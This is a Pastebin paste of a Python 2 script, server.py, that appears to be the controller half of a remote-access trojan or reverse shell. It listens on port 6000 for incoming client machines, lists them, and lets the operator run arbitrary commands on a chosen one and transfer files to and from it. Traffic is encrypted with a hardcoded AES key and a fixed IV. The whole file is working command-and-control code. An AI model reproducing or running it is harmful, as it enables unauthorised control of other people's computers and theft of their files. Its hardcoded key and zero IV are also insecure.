FlyFar

server.py

Jun 6th, 2023
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.05 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from Crypto.Cipher import AES
  4. import socket, base64, os, time, sys, select
  5.  
  6. # the block size for the cipher object; must be 16, 24, or 32 for AES
  7. BLOCK_SIZE = 32
  8.  
  9. # one-liners to encrypt/encode and decrypt/decode a string
  10. # encrypt with AES, encode with base64
  11. EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
  12. DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
  13.  
  14. # generate a random secret key
  15. secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
  16.  
  17. # clear function
  18. ##################################
  19. # Windows ---------------> cls
  20. # Linux   ---------------> clear
  21. if os.name == 'posix': clf = 'clear'
  22. if os.name == 'nt': clf = 'cls'
  23. clear = lambda: os.system(clf)
  24.  
  25. # initialize socket
  26. c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  27. c.bind(('0.0.0.0', 6000))
  28. c.listen(128)
  29.  
  30. # client information
  31. active = False
  32. clients = []
  33. socks = []
  34. interval = 0.8
  35.  
  36. # Functions
  37. ###########
  38.  
  39. # send data
  40. def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
  41.     sock.sendall(EncodeAES(cipher, cmd + end))
  42.  
  43. # receive data
  44. def Receive(sock, end="EOFEOFEOFEOFEOFX"):
  45.     data = ""
  46.     l = sock.recv(1024)
  47.     while(l):
  48.         decrypted = DecodeAES(cipher, l)
  49.         data += decrypted
  50.         if data.endswith(end) == True:
  51.             break
  52.         else:
  53.             l = sock.recv(1024)
  54.     return data[:-len(end)]
  55.  
  56. # download file
  57. def download(sock, remote_filename, local_filename=None):
  58.     # check if file exists
  59.     if not local_filename:
  60.         local_filename = remote_filename
  61.     try:
  62.         f = open(local_filename, 'wb')
  63.     except IOError:
  64.         print "Error opening file.\n"
  65.         Send(sock, "cd .")
  66.         return
  67.     # start transfer
  68.     Send(sock, "download "+remote_filename)
  69.     print "Downloading: " + remote_filename + " > " + local_filename
  70.     fileData = Receive(sock)
  71.     f.write(fileData)
  72.     time.sleep(interval)
  73.     f.close()
  74.     time.sleep(interval)
  75.  
  76. # upload file
  77. def upload(sock, local_filename, remote_filename=None):
  78.     # check if file exists
  79.     if not remote_filename:
  80.         remote_filename = local_filename
  81.     try:
  82.         g = open(local_filename, 'rb')
  83.     except IOError:
  84.         print "Error opening file.\n"
  85.         Send(sock, "cd .")
  86.         return
  87.     # start transfer
  88.     Send(sock, "upload "+remote_filename)
  89.     print 'Uploading: ' + local_filename + " > " + remote_filename
  90.     while True:
  91.         fileData = g.read()
  92.         if not fileData: break
  93.         Send(sock, fileData, "")
  94.     g.close()
  95.     time.sleep(interval)
  96.     Send(sock, "")
  97.     time.sleep(interval)
  98.    
  99. # refresh clients
  100. def refresh():
  101.     clear()
  102.     print '\nListening for clients...\n'
  103.     if len(clients) > 0:
  104.         for j in range(0,len(clients)):
  105.             print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
  106.     else:
  107.         print "...\n"
  108.     # print exit option
  109.     print "---\n"
  110.     print "[0] Exit \n"
  111.     print "\nPress Ctrl+C to interact with client."
  112.  
  113.  
  114. # main loop
  115. while True:
  116.     refresh()
  117.     # listen for clients
  118.     try:
  119.         # set timeout
  120.         c.settimeout(10)
  121.        
  122.         # accept connection
  123.         try:
  124.             s,a = c.accept()
  125.         except socket.timeout:
  126.             continue
  127.        
  128.         # add socket
  129.         if (s):
  130.             s.settimeout(None)
  131.             socks += [s]
  132.             clients += [str(a)]
  133.        
  134.         # display clients
  135.         refresh()
  136.        
  137.         # sleep
  138.         time.sleep(interval)
  139.  
  140.     except KeyboardInterrupt:
  141.        
  142.         # display clients
  143.         refresh()
  144.        
  145.         # accept selection --- int, 0/1-128
  146.         activate = input("\nEnter option: ")
  147.        
  148.         # exit
  149.         if activate == 0:
  150.             print '\nExiting...\n'
  151.             for j in range(0,len(socks)):
  152.                 socks[j].close()
  153.             sys.exit()
  154.        
  155.         # subtract 1 (array starts at 0)
  156.         activate -= 1
  157.    
  158.         # clear screen
  159.         clear()
  160.        
  161.         # create a cipher object using the random secret
  162.         cipher = AES.new(secret,AES.MODE_CFB,'0000000000000000')
  163.         print '\nActivating client: ' + clients[activate] + '\n'
  164.         active = True
  165.         Send(socks[activate], 'Activate')
  166.        
  167.     # interact with client
  168.     while active:
  169.         try:
  170.             # receive data from client
  171.             data = Receive(socks[activate])
  172.         # disconnect client.
  173.         except:
  174.             print '\nClient disconnected... ' + clients[activate]
  175.             # delete client
  176.             socks[activate].close()
  177.             time.sleep(0.8)
  178.             socks.remove(socks[activate])
  179.             clients.remove(clients[activate])
  180.             refresh()
  181.             active = False
  182.             break
  183.  
  184.         # exit client session
  185.         if data == 'quitted':
  186.             # print message
  187.             print "Exit.\n"
  188.             # remove from arrays
  189.             socks[activate].close()
  190.             socks.remove(socks[activate])
  191.             clients.remove(clients[activate])
  192.             # sleep and refresh
  193.             time.sleep(0.8)
  194.             refresh()
  195.             active = False
  196.             break
  197.         # if data exists
  198.         elif data != '':
  199.             # get next command
  200.             sys.stdout.write(data)
  201.             nextcmd = raw_input()
  202.        
  203.         # download
  204.         if nextcmd.startswith("download ") == True:
  205.             if len(nextcmd.split(' ')) > 2:
  206.                 download(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
  207.             else:
  208.                 download(socks[activate], nextcmd.split(' ')[1])
  209.        
  210.         # upload
  211.         elif nextcmd.startswith("upload ") == True:
  212.             if len(nextcmd.split(' ')) > 2:
  213.                 upload(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
  214.             else:
  215.                 upload(socks[activate], nextcmd.split(' ')[1])
  216.        
  217.         # normal command
  218.         elif nextcmd != '':
  219.             Send(socks[activate], nextcmd)
  220.  
  221.         elif nextcmd == '':
  222.             print 'Think before you type. ;)\n'
Add Comment
Please, Sign In to add comment